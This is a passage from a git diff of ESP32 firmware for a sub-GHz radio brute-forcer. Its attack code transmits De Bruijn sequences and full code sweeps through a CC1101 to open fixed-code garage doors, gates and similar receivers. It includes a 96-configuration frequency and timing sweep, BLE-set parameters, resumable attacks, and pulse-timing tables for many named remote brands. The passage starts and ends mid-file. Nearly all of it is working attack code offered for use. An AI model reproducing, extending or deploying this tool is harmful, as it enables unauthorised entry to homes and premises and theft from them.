----------------------------------------------------------------- +// De Bruijn menu entries (35-40) +// ----------------------------------------------------------------- + +void BruterModule::menuDeBruijnGeneric433() { + bruter::protocol_dynamic p(300, 3); // Te=300us, ratio=1:3 (EV1527-style) + attackDeBruijn(&p, "DB Generic 433", 12, 433.92, 5); +} + +void BruterModule::menuDeBruijnGeneric315() { + bruter::protocol_dynamic p(300, 3); + attackDeBruijn(&p, "DB Generic 315", 12, 315.0, 5); +} + +void BruterModule::menuDeBruijnHoltek() { + bruter::protocol_holtek p; + attackDeBruijn(&p, "DB Holtek 433", 12, 433.92, 3); +} + +void BruterModule::menuDeBruijnLinear() { + bruter::protocol_linear p; + attackDeBruijn(&p, "DB Linear 300", 10, 300.0, 5); +} + +void BruterModule::menuDeBruijnEV1527() { + bruter::protocol_ev1527 p; + attackDeBruijn(&p, "DB EV1527 433", 12, 433.92, 3); +} + +void BruterModule::menuDeBruijnUniversal() { + // Universal Auto-Attack: sweep multiple freq/timing/ratio/bits combos + // 8 freqs Γ— 3 timings Γ— 2 ratios Γ— 2 bit-lengths = 96 configurations + static const float freqs[] = {433.92f, 315.0f, 868.35f, 300.0f, + 310.0f, 318.0f, 390.0f, 433.42f}; + static const int tes[] = {300, 200, 450}; + static const int ratios[] = {3, 2}; + static const int bitLengths[] = {12, 10}; + + int configNum = 0; + const int totalConfigs = 8 * 3 * 2 * 2; // 96 + + ESP_LOGI("Bruter", "[Universal] Starting %d-config sweep", totalConfigs); + + for (float f : freqs) { + for (int b : bitLengths) { + for (int te : tes) { + for (int ratio : ratios) { + if (bruterCancelFlag) { + ESP_LOGI("Bruter", "[Universal] Cancelled at config %d/%d", + configNum, totalConfigs); + return; + } + + configNum++; + ESP_LOGI("Bruter", "[Universal] Config %d/%d: Freq=%.2f Bits=%d Te=%d Ratio=1:%d", + configNum, totalConfigs, f, b, te, ratio); + + bruter::protocol_dynamic p(te, ratio); + attackDeBruijn(&p, "Universal", b, f, 3); + } + } + } + } + + ESP_LOGI("Bruter", "[Universal] Sweep complete: %d configs", totalConfigs); +} + +void BruterModule::setCustomDeBruijnParams(uint8_t bits, uint16_t te, uint8_t ratio, float freqMhz) { + customDbBits = bits; + customDbTe = te; + customDbRatio = ratio; + customDbFreq = freqMhz; + ESP_LOGI("Bruter", "Custom De Bruijn params: bits=%d te=%d ratio=%d freq=%.2f", + bits, te, ratio, freqMhz); +} + +void BruterModule::menuDeBruijnCustom() { + // Use the parameters set by BLE command 0xFD + ESP_LOGI("Bruter", "[Custom DeBruijn] bits=%d te=%d ratio=1:%d freq=%.2f MHz", + customDbBits, customDbTe, customDbRatio, customDbFreq); + + bruter::protocol_dynamic p(customDbTe, customDbRatio); + attackDeBruijn(&p, "Custom DeBruijn", customDbBits, customDbFreq, globalRepeats); +} + +void BruterModule::cancelAttack() { + pauseRequested = false; // Stop, not pause β€” will clear saved state + bruterCancelFlag = true; + ESP_LOGI("Bruter", "Cancel (stop) requested"); +} + +bool BruterModule::isAttackRunning() const { + return attackRunning; +} + +void BruterModule::menu_elka() { + bruter::protocol_elka p; + attackBinary(&p, "ELKA 12b", 12, 433.92); +} \ No newline at end of file diff --git a/src/modules/bruter/bruter_main.h b/src/modules/bruter/bruter_main.h new file mode 100644 index 0000000..b974fe7 --- /dev/null +++ b/src/modules/bruter/bruter_main.h @@ -0,0 +1,149 @@ +#pragma once + +#include +#include +#include "config.h" + +// Forward declarations for protocols +namespace bruter { + class c_rf_protocol; +} + +class BruterModule { +public: + bool setupCC1101(); + bool attackBinary(bruter::c_rf_protocol* proto, const char* name, int positions, float mhz); + bool attackTristate(bruter::c_rf_protocol* proto, const char* name, int positions, float mhz); + + /// De Bruijn attack β€” transmits B(2,n) sequence through the given protocol. + /// Only for binary protocols with n <= DEBRUIJN_MAX_BITS (16). + /// Uses heap for sequence generation, frees it before returning. + bool attackDeBruijn(bruter::c_rf_protocol* proto, const char* name, + int bits, float mhz, int repeats = 3); + + /// Dispatch to the correct menuN() by number (1-40). + void executeMenu(uint8_t menuChoice); + + /// Start an attack asynchronously on a dedicated FreeRTOS task. + /// Returns true if the task was created, false if one is already running. + bool startAttackAsync(uint8_t menuChoice); + + /// Start attack from a previously saved state (resume). + /// The attack restarts from (savedCode - overlap) to avoid skipping. + bool resumeAttackAsync(); + + void menu1(); + void menu2(); + void menu3(); + void menu4(); + void menu5(); + void menu6(); + void menu7(); + void menu8(); + void menu9(); + void menu10(); + void menu11(); + void menu12(); + void menu13(); + // New protocols (14-33) + void menu14(); // CLEMSA + void menu15(); // GATETX + void menu16(); // PHOX + void menu17(); // PHOENIX_V2 + void menu18(); // PRASTEL + void menu19(); // DOITRAND + void menu20(); // DOOYA 24b + void menu21(); // NERO + void menu22(); // MAGELLEN + void menu23(); // FIREFLY 300MHz + void menu24(); // LINEAR_MEGACODE 318MHz + void menu25(); // HORMANN 868MHz + void menu26(); // MARANTEC 868MHz + void menu27(); // BERNER 868MHz + void menu28(); // INTERTECHNO_V3 32b + void menu29(); // EV1527 24b full + void menu30(); // STARLINE + void menu31(); // TEDSEN + void menu32(); // AIRFORCE + void menu33(); // UNILARM 433.42MHz + void menu_elka(); // ELKA (extra slot) + // De Bruijn attack menus (35-40) + void menuDeBruijnGeneric433(); // Generic OOK 12b @ 433.92 + void menuDeBruijnGeneric315(); // Generic OOK 12b @ 315.00 + void menuDeBruijnHoltek(); // Holtek exact timing @ 433.92 + void menuDeBruijnLinear(); // Linear exact timing @ 300.00 + void menuDeBruijnEV1527(); // EV1527 exact timing @ 433.92 + void menuDeBruijnUniversal(); // Universal sweep (multi-freq/timing) + void menuDeBruijnCustom(); // Custom De Bruijn with BLE-provided params + + /// Set custom De Bruijn parameters before launching menu 0xFD. + /// Called by BruterCommands when receiving [0xFD][bits][teLo][teHi][ratio][freq:4LE]. + void setCustomDeBruijnParams(uint8_t bits, uint16_t te, uint8_t ratio, float freqMhz); + + /// Cancel the running attack (sets flag, task checks it periodically). + void cancelAttack(); + + /// Pause the running attack β€” sets cancel flag AND saves state to LittleFS. + void pauseAttack(); + + bool isAttackRunning() const; + + /// Task handle for the async attack task (nullptr when idle). + static TaskHandle_t attackTaskHandle; + + /// Set inter-frame delay in ms (configurable from app) + void setInterFrameDelay(uint16_t delayMs) { interFrameDelayMs = delayMs; } + uint16_t getInterFrameDelay() const { return interFrameDelayMs; } + + /// Set global repeats per code (configurable via BLE sub-command 0xFC) + void setGlobalRepeats(uint8_t reps) { globalRepeats = reps; } + uint8_t getGlobalRepeats() const { return globalRepeats; } + + /// Get current attack menu ID (0 = idle) + uint8_t getCurrentMenuId() const { return currentMenuId; } + + /// Whether the last stop was a pause (state saved) + bool wasPaused() const { return pauseRequested; } + + /// Check if a resumable state exists on LittleFS and notify via BLE. + void checkAndNotifySavedState(); + +private: + int globalRepeats = BRUTER_DEFAULT_REPETITIONS; + float current_mhz = 0.0f; + unsigned long lastInteraction = 0; + volatile bool attackRunning = false; + volatile bool pauseRequested = false; // True when pausing (vs stopping) + uint32_t lastCodesSent = 0; // Track codes sent for completion message + uint32_t resumeFromCode = 0; // Non-zero when resuming from saved state + uint32_t pauseTotalCodes = 0; // Total keyspace (for pause state save) + uint16_t interFrameDelayMs = BRUTER_INTER_FRAME_GAP_MS; + uint8_t currentMenuId = 0; + uint8_t currentAttackType = 0; // 0=binary, 1=tristate, 2=debruijn + + // Custom De Bruijn parameters (set via BLE 0xFD before task launch) + uint8_t customDbBits = 12; + uint16_t customDbTe = 300; + uint8_t customDbRatio = 3; + float customDbFreq = 433.92f; + + const int RF_CS = BRUTER_RF_CS; + const int RF_GDO0 = BRUTER_RF_GDO0; + const int RF_TX = BRUTER_RF_TX; + const int RF_SCK = BRUTER_RF_SCK; + const int RF_MISO = BRUTER_RF_MISO; + const int RF_MOSI = BRUTER_RF_MOSI; + + void setFrequencyCorrected(float mhz); + void sendPulse(int duration); + + /// FreeRTOS task entry point for async attacks. + static void attackTaskFunc(void* param); +}; + +// Global functions for integration with main firmware +bool bruter_init(); +void bruter_handleCommand(const String& command); + +// Get bruter module instance +BruterModule& getBruterModule(); \ No newline at end of file diff --git a/src/modules/bruter/debruijn.cpp b/src/modules/bruter/debruijn.cpp new file mode 100644 index 0000000..dedd14f --- /dev/null +++ b/src/modules/bruter/debruijn.cpp @@ -0,0 +1,94 @@ +#include "debruijn.h" +#include "../../include/config.h" +#include +#include // For ESP.getFreeHeap() + +static const char* TAG = "DeBruijn"; + +namespace bruter { + +bool canGenerateDeBruijn(int n) { + if (n < 1 || n > DEBRUIJN_MAX_BITS) return false; + + uint32_t totalUnique = 1U << n; + // Sequence: n + 2^n - 1 bytes + // Bitmap: (2^n / 8) + 1 bytes + uint32_t seqBytes = n + totalUnique; // Slight overestimate is OK + uint32_t bitmapBytes = (totalUnique / 8) + 1; + uint32_t needed = seqBytes + bitmapBytes + 10240; // 10KB safety margin + + uint32_t freeHeap = ESP.getFreeHeap(); + ESP_LOGI(TAG, "Heap check: need %u bytes, have %u bytes free", needed, freeHeap); + return freeHeap >= needed; +} + +uint8_t* generateDeBruijn(int n, uint32_t& outLength) { + outLength = 0; + + if (n < 1 || n > DEBRUIJN_MAX_BITS) { + ESP_LOGE(TAG, "n=%d out of range [1..%d], aborting", n, DEBRUIJN_MAX_BITS); + return nullptr; + } + + if (!canGenerateDeBruijn(n)) { + ESP_LOGE(TAG, "Insufficient heap for B(2,%d)", n); + return nullptr; + } + + uint32_t totalUnique = 1U << n; // 2^n + uint32_t seqLen = n + totalUnique - 1; + + // Allocate sequence buffer + uint8_t* sequence = (uint8_t*)malloc(seqLen); + if (!sequence) { + ESP_LOGE(TAG, "Failed to allocate %u bytes for sequence", seqLen); + return nullptr; + } + + // Bitmap for visited tracking: 1 bit per possible n-bit value + size_t bitmapBytes = (totalUnique / 8) + 1; + uint8_t* visited = (uint8_t*)calloc(bitmapBytes, 1); + if (!visited) { + ESP_LOGE(TAG, "Failed to allocate %u bytes for visited bitmap", (uint32_t)bitmapBytes); + free(sequence); + return nullptr; + } + + // Preamble: n zeros to fill the initial sliding window + for (int i = 0; i < n; i++) { + sequence[i] = 0; + } + + uint32_t mask = totalUnique - 1; + uint32_t val = 0; + visited[0] |= 1; // Mark 0...0 as visited + + uint32_t idx = n; // Start writing after preamble + + // Greedy "prefer ones" algorithm + for (uint32_t i = 0; i < totalUnique - 1; i++) { + uint32_t nextOne = ((val << 1) & mask) | 1; + uint32_t nextZero = ((val << 1) & mask); + + bool oneVisited = (visited[nextOne / 8] >> (nextOne % 8)) & 1; + + if (!oneVisited) { + val = nextOne; + visited[nextOne / 8] |= (1 << (nextOne % 8)); + sequence[idx++] = 1; + } else { + val = nextZero; + visited[nextZero / 8] |= (1 << (nextZero % 8)); + sequence[idx++] = 0; + } + } + + free(visited); + + outLength = seqLen; + ESP_LOGI(TAG, "Generated B(2,%d): %u bits, %u unique windows", + n, (unsigned)seqLen, (unsigned)totalUnique); + return sequence; +} + +} // namespace bruter diff --git a/src/modules/bruter/debruijn.h b/src/modules/bruter/debruijn.h new file mode 100644 index 0000000..ef15734 --- /dev/null +++ b/src/modules/bruter/debruijn.h @@ -0,0 +1,34 @@ +#pragma once + +#include +#include + +namespace bruter { + +/** + * Generate a De Bruijn sequence B(2, n) using the greedy "prefer ones" algorithm. + * + * Returns a dynamically allocated array of 0/1 bytes representing the bit sequence. + * The caller is responsible for freeing the returned pointer with free(). + * + * Sequence length = n + 2^n - 1 bits (every n-bit window appears exactly once). + * + * Hard limit: n <= 16 (65KB sequence + 8KB bitmap on ESP32). + * Returns nullptr if n is out of range or memory allocation fails. + * + * @param n Number of bits per code (1..16) + * @param outLength Output: length of the returned array in bytes + * @return Pointer to allocated sequence (caller must free()), or nullptr on error + */ +uint8_t* generateDeBruijn(int n, uint32_t& outLength); + +/** + * Check if there is enough heap to generate a De Bruijn sequence of given n. + * Includes a 10KB safety margin. + * + * @param n Number of bits + * @return true if heap is sufficient + */ +bool canGenerateDeBruijn(int n); + +} // namespace bruter diff --git a/src/modules/bruter/protocols/Airforce.h b/src/modules/bruter/protocols/Airforce.h new file mode 100644 index 0000000..504e929 --- /dev/null +++ b/src/modules/bruter/protocols/Airforce.h @@ -0,0 +1,22 @@ +#ifndef BRUTER_PROTOCOL_AIRFORCE_H +#define BRUTER_PROTOCOL_AIRFORCE_H + +#include "protocol.h" + +namespace bruter { + +// Airforce remote protocol +// Similar to Princeton but with different pilot period +// T=350us, 4-element transposition (binary attack), 433.92 MHz +class protocol_airforce : public c_rf_protocol { +public: + protocol_airforce() { + transposition_table['0'] = {350, -1050, 350, -1050}; + transposition_table['1'] = {1050, -350, 1050, -350}; + pilot_period = {350, -10850}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Ansonic.h b/src/modules/bruter/protocols/Ansonic.h new file mode 100644 index 0000000..5f4f51e --- /dev/null +++ b/src/modules/bruter/protocols/Ansonic.h @@ -0,0 +1,20 @@ +#ifndef BRUTER_PROTOCOL_ANSONIC_H +#define BRUTER_PROTOCOL_ANSONIC_H + +#include "protocol.h" + +namespace bruter { + +class protocol_ansonic : public c_rf_protocol { +public: + protocol_ansonic() { + transposition_table['0'] = {-1111, 555}; + transposition_table['1'] = {-555, 1111}; + pilot_period = {-19425, 555}; + stop_bit = {}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_ANSONIC_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/BFT.h b/src/modules/bruter/protocols/BFT.h new file mode 100644 index 0000000..cf03c9e --- /dev/null +++ b/src/modules/bruter/protocols/BFT.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_BFT_H +#define BRUTER_PROTOCOL_BFT_H + +#include "protocol.h" + +namespace bruter { + +class protocol_bft : public c_rf_protocol { +public: + protocol_bft() { + // T=400us. + transposition_table['0'] = {-400, 800}; + transposition_table['1'] = {-800, 400}; + pilot_period = {-12000, 400}; + stop_bit = {}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_BFT_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/Berner.h b/src/modules/bruter/protocols/Berner.h new file mode 100644 index 0000000..c3538d7 --- /dev/null +++ b/src/modules/bruter/protocols/Berner.h @@ -0,0 +1,22 @@ +#ifndef BRUTER_PROTOCOL_BERNER_H +#define BRUTER_PROTOCOL_BERNER_H + +#include "protocol.h" + +namespace bruter { + +// Berner garage door remote protocol +// T=400us, standard binary encoding +// Works at 868.35 MHz and 433.92 MHz depending on model +class protocol_berner : public c_rf_protocol { +public: + protocol_berner() { + transposition_table['0'] = {400, -800}; + transposition_table['1'] = {800, -400}; + pilot_period = {400, -12000}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Came.h b/src/modules/bruter/protocols/Came.h new file mode 100644 index 0000000..89760e2 --- /dev/null +++ b/src/modules/bruter/protocols/Came.h @@ -0,0 +1,17 @@ +#pragma once + +#include "protocol.h" + +namespace bruter { + +class protocol_came : public c_rf_protocol { +public: + protocol_came() { + transposition_table['0'] = {-320, 640}; + transposition_table['1'] = {-640, 320}; + pilot_period = {-11520, 320}; + stop_bit = {}; + } +}; + +} // namespace bruter \ No newline at end of file diff --git a/src/modules/bruter/protocols/Chamberlain.h b/src/modules/bruter/protocols/Chamberlain.h new file mode 100644 index 0000000..df0409c --- /dev/null +++ b/src/modules/bruter/protocols/Chamberlain.h @@ -0,0 +1,20 @@ +#ifndef BRUTER_PROTOCOL_CHAMBERLAIN_H +#define BRUTER_PROTOCOL_CHAMBERLAIN_H + +#include "protocol.h" + +namespace bruter { + +class protocol_chamberlain : public c_rf_protocol { +public: + protocol_chamberlain() { + transposition_table['0'] = {-870, 430}; + transposition_table['1'] = {-430, 870}; + pilot_period = {}; + stop_bit = {-3000, 1000}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_CHAMBERLAIN_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/Clemsa.h b/src/modules/bruter/protocols/Clemsa.h new file mode 100644 index 0000000..8e58dc0 --- /dev/null +++ b/src/modules/bruter/protocols/Clemsa.h @@ -0,0 +1,22 @@ +#ifndef BRUTER_PROTOCOL_CLEMSA_H +#define BRUTER_PROTOCOL_CLEMSA_H + +#include "protocol.h" + +namespace bruter { + +// Clemsa garage door remote protocol (Spain) +// T=400us, common in older fixed-code models +// Inverted logic: '0' starts LOW, '1' starts LOW +class protocol_clemsa : public c_rf_protocol { +public: + protocol_clemsa() { + transposition_table['0'] = {-400, 800}; + transposition_table['1'] = {-800, 400}; + pilot_period = {-12000, 400}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Doitrand.h b/src/modules/bruter/protocols/Doitrand.h new file mode 100644 index 0000000..cb20f86 --- /dev/null +++ b/src/modules/bruter/protocols/Doitrand.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_DOITRAND_H +#define BRUTER_PROTOCOL_DOITRAND_H + +#include "protocol.h" + +namespace bruter { + +// Doitrand motorized gate remote protocol (France) +// T=400us, inverted logic encoding +class protocol_doitrand : public c_rf_protocol { +public: + protocol_doitrand() { + transposition_table['0'] = {-400, 800}; + transposition_table['1'] = {-800, 400}; + pilot_period = {-12000, 400}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Dooya.h b/src/modules/bruter/protocols/Dooya.h new file mode 100644 index 0000000..a156ec1 --- /dev/null +++ b/src/modules/bruter/protocols/Dooya.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_DOOYA_H +#define BRUTER_PROTOCOL_DOOYA_H + +#include "protocol.h" + +namespace bruter { + +// Dooya motorized blinds/awnings remote protocol +// T=350us, typically uses 24-bit codes at 433.92 MHz +class protocol_dooya : public c_rf_protocol { +public: + protocol_dooya() { + transposition_table['0'] = {350, -700}; + transposition_table['1'] = {700, -350}; + pilot_period = {350, -7000}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/DynamicProtocol.h b/src/modules/bruter/protocols/DynamicProtocol.h new file mode 100644 index 0000000..f0e8eb3 --- /dev/null +++ b/src/modules/bruter/protocols/DynamicProtocol.h @@ -0,0 +1,28 @@ +#pragma once +#include "protocol.h" + +namespace bruter { + +/** + * Runtime-configurable generic OOK protocol for De Bruijn and universal sweeps. + * + * @param te Base time element in microseconds + * @param ratio Pulse width ratio (2 = 1:2 for old PT2262, 3 = 1:3 for EV1527) + */ +class protocol_dynamic : public c_rf_protocol { +public: + protocol_dynamic(int te, int ratio = 3) { + int shortPulse = te; + int longPulse = te * ratio; + + // Generic OOK: 0 = short HIGH + long LOW, 1 = long HIGH + short LOW + transposition_table['0'] = { shortPulse, -longPulse }; + transposition_table['1'] = { longPulse, -shortPulse }; + + // Standard sync: 1T HIGH + 31T LOW + pilot_period = { shortPulse, -(te * 31) }; + stop_bit = {}; + } +}; + +} // namespace bruter diff --git a/src/modules/bruter/protocols/ELKA.h b/src/modules/bruter/protocols/ELKA.h new file mode 100644 index 0000000..c403e6a --- /dev/null +++ b/src/modules/bruter/protocols/ELKA.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_ELKA_H +#define BRUTER_PROTOCOL_ELKA_H + +#include "protocol.h" + +namespace bruter { + +// ELKA gate/barrier remote protocol +// T=400us, standard binary encoding at 433.92 MHz +class protocol_elka : public c_rf_protocol { +public: + protocol_elka() { + transposition_table['0'] = {400, -800}; + transposition_table['1'] = {800, -400}; + pilot_period = {400, -12000}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/EV1527.h b/src/modules/bruter/protocols/EV1527.h new file mode 100644 index 0000000..a0f705e --- /dev/null +++ b/src/modules/bruter/protocols/EV1527.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_EV1527_H +#define BRUTER_PROTOCOL_EV1527_H + +#include "protocol.h" + +namespace bruter { + +class protocol_ev1527 : public c_rf_protocol { +public: + protocol_ev1527() { + // T=320us tΓ­pico para sensores y mandos EV1527 + transposition_table['0'] = {320, -960}; + transposition_table['1'] = {960, -320}; + pilot_period = {320, -9920}; + stop_bit = {}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_EV1527_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/FAAC.h b/src/modules/bruter/protocols/FAAC.h new file mode 100644 index 0000000..59f961b --- /dev/null +++ b/src/modules/bruter/protocols/FAAC.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_FAAC_H +#define BRUTER_PROTOCOL_FAAC_H + +#include "protocol.h" + +namespace bruter { + +class protocol_faac : public c_rf_protocol { +public: + protocol_faac() { + // Protocolo FAAC Fixed 12 bits + transposition_table['0'] = {-1200, 400}; + transposition_table['1'] = {-400, 1200}; + pilot_period = {-16000, 400}; + stop_bit = {}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_FAAC_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/Firefly.h b/src/modules/bruter/protocols/Firefly.h new file mode 100644 index 0000000..fab538b --- /dev/null +++ b/src/modules/bruter/protocols/Firefly.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_FIREFLY_H +#define BRUTER_PROTOCOL_FIREFLY_H + +#include "protocol.h" + +namespace bruter { + +// Firefly garage door remote protocol (USA) +// T=400us, typically uses 10-bit codes at 300 MHz +class protocol_firefly : public c_rf_protocol { +public: + protocol_firefly() { + transposition_table['0'] = {400, -800}; + transposition_table['1'] = {800, -400}; + pilot_period = {400, -12000}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/GateTX.h b/src/modules/bruter/protocols/GateTX.h new file mode 100644 index 0000000..361363e --- /dev/null +++ b/src/modules/bruter/protocols/GateTX.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_GATETX_H +#define BRUTER_PROTOCOL_GATETX_H + +#include "protocol.h" + +namespace bruter { + +// GateTX universal gate remote protocol +// T=350us, inverted logic encoding at 433.92 MHz +class protocol_gate_tx : public c_rf_protocol { +public: + protocol_gate_tx() { + transposition_table['0'] = {-350, 700}; + transposition_table['1'] = {-700, 350}; + pilot_period = {-11000, 350}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Holtek.h b/src/modules/bruter/protocols/Holtek.h new file mode 100644 index 0000000..58f10a1 --- /dev/null +++ b/src/modules/bruter/protocols/Holtek.h @@ -0,0 +1,20 @@ +#ifndef BRUTER_PROTOCOL_HOLTEK_H +#define BRUTER_PROTOCOL_HOLTEK_H + +#include "protocol.h" + +namespace bruter { + +class protocol_holtek : public c_rf_protocol { +public: + protocol_holtek() { + transposition_table['0'] = {-870, 430}; + transposition_table['1'] = {-430, 870}; + pilot_period = {-15480, 430}; + stop_bit = {}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_HOLTEK_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/Honeywell.h b/src/modules/bruter/protocols/Honeywell.h new file mode 100644 index 0000000..6f02504 --- /dev/null +++ b/src/modules/bruter/protocols/Honeywell.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_HONEYWELL_H +#define BRUTER_PROTOCOL_HONEYWELL_H + +#include "protocol.h" + +namespace bruter { + +class protocol_honeywell : public c_rf_protocol { +public: + protocol_honeywell() { + // T=300us. + transposition_table['0'] = {300, -600}; + transposition_table['1'] = {600, -300}; + pilot_period = {300, -9000}; + stop_bit = {}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_HONEYWELL_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/Hormann.h b/src/modules/bruter/protocols/Hormann.h new file mode 100644 index 0000000..9803a1a --- /dev/null +++ b/src/modules/bruter/protocols/Hormann.h @@ -0,0 +1,22 @@ +#ifndef BRUTER_PROTOCOL_HORMANN_H +#define BRUTER_PROTOCOL_HORMANN_H + +#include "protocol.h" + +namespace bruter { + +// Hormann garage door remote protocol (Germany) +// T=500us, classic grey remote with blue (868) or yellow (433) buttons +// Typically used at 868.35 MHz +class protocol_hormann : public c_rf_protocol { +public: + protocol_hormann() { + transposition_table['0'] = {500, -500}; + transposition_table['1'] = {1000, -500}; + pilot_period = {500, -10000}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/IntertechnoV3.h b/src/modules/bruter/protocols/IntertechnoV3.h new file mode 100644 index 0000000..035d00f --- /dev/null +++ b/src/modules/bruter/protocols/IntertechnoV3.h @@ -0,0 +1,22 @@ +#ifndef BRUTER_PROTOCOL_INTERTECHNOV3_H +#define BRUTER_PROTOCOL_INTERTECHNOV3_H + +#include "protocol.h" + +namespace bruter { + +// Intertechno V3 home automation protocol +// T=250us, specific PWM encoding, 32-bit codes at 433.92 MHz +// 4-element transposition table for each bit value +class protocol_intertechno_v3 : public c_rf_protocol { +public: + protocol_intertechno_v3() { + transposition_table['0'] = {250, -250, 250, -1250}; + transposition_table['1'] = {250, -1250, 250, -250}; + pilot_period = {250, -2500}; + stop_bit = {250, -10000}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/LiftMaster.h b/src/modules/bruter/protocols/LiftMaster.h new file mode 100644 index 0000000..b7fea13 --- /dev/null +++ b/src/modules/bruter/protocols/LiftMaster.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_LIFTMASTER_H +#define BRUTER_PROTOCOL_LIFTMASTER_H + +#include "protocol.h" + +namespace bruter { + +class protocol_liftmaster : public c_rf_protocol { +public: + protocol_liftmaster() { + // Tiempos tΓ­picos: 400us base + transposition_table['0'] = {400, -800}; + transposition_table['1'] = {800, -400}; + pilot_period = {-15000, 400}; + stop_bit = {}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_LIFTMASTER_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/Linear.h b/src/modules/bruter/protocols/Linear.h new file mode 100644 index 0000000..f7448a4 --- /dev/null +++ b/src/modules/bruter/protocols/Linear.h @@ -0,0 +1,20 @@ +#ifndef BRUTER_PROTOCOL_LINEAR_H +#define BRUTER_PROTOCOL_LINEAR_H + +#include "protocol.h" + +namespace bruter { + +class protocol_linear : public c_rf_protocol { +public: + protocol_linear() { + transposition_table['0'] = {500, -1500}; + transposition_table['1'] = {1500, -500}; + pilot_period = {}; + stop_bit = {1, -21500}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_LINEAR_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/LinearMegaCode.h b/src/modules/bruter/protocols/LinearMegaCode.h new file mode 100644 index 0000000..2460c97 --- /dev/null +++ b/src/modules/bruter/protocols/LinearMegaCode.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_LINEAR_MEGACODE_H +#define BRUTER_PROTOCOL_LINEAR_MEGACODE_H + +#include "protocol.h" + +namespace bruter { + +// Linear MegaCode garage door remote protocol (USA) +// T=500us, 24-bit codes at 318 MHz +class protocol_linear_megacode : public c_rf_protocol { +public: + protocol_linear_megacode() { + transposition_table['0'] = {500, -1000}; + transposition_table['1'] = {1000, -500}; + pilot_period = {500, -15000}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Magellen.h b/src/modules/bruter/protocols/Magellen.h new file mode 100644 index 0000000..6f0a008 --- /dev/null +++ b/src/modules/bruter/protocols/Magellen.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_MAGELLEN_H +#define BRUTER_PROTOCOL_MAGELLEN_H + +#include "protocol.h" + +namespace bruter { + +// Magellen security remote protocol +// T=400us, standard binary encoding at 433.92 MHz +class protocol_magellen : public c_rf_protocol { +public: + protocol_magellen() { + transposition_table['0'] = {400, -800}; + transposition_table['1'] = {800, -400}; + pilot_period = {400, -12000}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Marantec.h b/src/modules/bruter/protocols/Marantec.h new file mode 100644 index 0000000..3fc8314 --- /dev/null +++ b/src/modules/bruter/protocols/Marantec.h @@ -0,0 +1,22 @@ +#ifndef BRUTER_PROTOCOL_MARANTEC_H +#define BRUTER_PROTOCOL_MARANTEC_H + +#include "protocol.h" + +namespace bruter { + +// Marantec garage door remote protocol (Germany) +// T=600us, high-precision protocol with long preamble +// Typically used at 868.35 MHz, includes stop bit +class protocol_marantec : public c_rf_protocol { +public: + protocol_marantec() { + transposition_table['0'] = {600, -1200}; + transposition_table['1'] = {1200, -600}; + pilot_period = {600, -15000}; + stop_bit = {600, -25000}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Nero.h b/src/modules/bruter/protocols/Nero.h new file mode 100644 index 0000000..bdc7a5e --- /dev/null +++ b/src/modules/bruter/protocols/Nero.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_NERO_H +#define BRUTER_PROTOCOL_NERO_H + +#include "protocol.h" + +namespace bruter { + +// Nero motorized roller shutter remote protocol +// T=450us, used at 433.92 MHz and 434.42 MHz +class protocol_nero : public c_rf_protocol { +public: + protocol_nero() { + transposition_table['0'] = {450, -900}; + transposition_table['1'] = {900, -450}; + pilot_period = {450, -13500}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/NiceFlo.h b/src/modules/bruter/protocols/NiceFlo.h new file mode 100644 index 0000000..ec5d23d --- /dev/null +++ b/src/modules/bruter/protocols/NiceFlo.h @@ -0,0 +1,20 @@ +#ifndef 